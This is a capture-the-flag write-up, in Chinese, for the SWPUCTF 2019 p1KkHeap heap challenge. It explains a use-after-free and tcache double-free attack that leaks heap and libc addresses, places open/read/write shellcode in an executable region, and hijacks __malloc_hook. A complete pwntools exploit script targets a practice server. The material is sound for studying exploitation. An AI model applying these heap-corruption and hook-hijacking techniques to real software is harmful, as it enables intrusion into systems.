SWPUCTF_2019_p1KkHeap（tcache表头攻击，uaf，ORW）

SWPUCTF_2019_p1KkHeap：

保护全开

程序分析：

开了沙盒我们看一下，可以看到禁用了execve，我们只能用orw组合读取flag

在0x6666000的地方给了我们一块可读可写可执行的区域

还有一些小限制，只能实行0x12次循环

free只能3次

malloc最大0x100，不让我们直接申请0x410能free到unsortbin

漏洞分析：

显然有个uaf

大致思路：

1.先利用uaf，泄露堆地址
2.doublefree后申请三次，让tcache_bin中的index改到-1，由于有符号转到无符号，就变到0xff，我们就能释放chunk到unsotbin中，泄漏libc了
3.利用doublefree，申请堆到tache的表头中对应存的链表指针，改为0x66660000，再填入orw
4.同理再改tache的表头中对应存的链表指针，改为malloc_hook，申请到malloc_hook我们填入0x66660000
5.最后add触发

exp：

from pwn import *
#from LibcSearcher import * 
local_file  = './SWPUCTF_2019_p1KkHeap'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',26408 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#-------------------------------------
def add(size):
    sla('Your Choice: ','1')
    sla('size: ',str(size))
def show(index):
    sla('Your Choice: ','2')
    sla('id: ',str(index))
def edit(index,content):
    sla('Your Choice: ','3')
    sla('id: ',str(index))
    sa('content: ',content)
def delete(index):
    sla('Your Choice: ','4')
    sla('id: ',str(index))
#------------------------------------
add(0x100)
add(0x20)
delete(0)
delete(0)
show(0)
ru('content: ')
heap_base=uu64(ru('\n')[:-1])-0x260
print 'heap_base='+str(hex(heap_base))
#edit(0,p64(heap_base+0xc8))
add(0x100)
edit(2,p64(heap_base+0xc8))
add(0x100)
add(0x100)
edit(4,p64(0x66660000))
add(0x100)
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
shell=asm(shellcode)
edit(5,shell)
delete(0)
show(0)
malloc_hook=uu64(ru('\x7f')[-6:])-96-0x10
print 'malloc_hook='+str(hex(malloc_hook))
#-------------------------------------
edit(4,p64(malloc_hook))
add(0x100)
edit(6,p64(0x66660000))
add(0x100)
#debug()
r.interactive()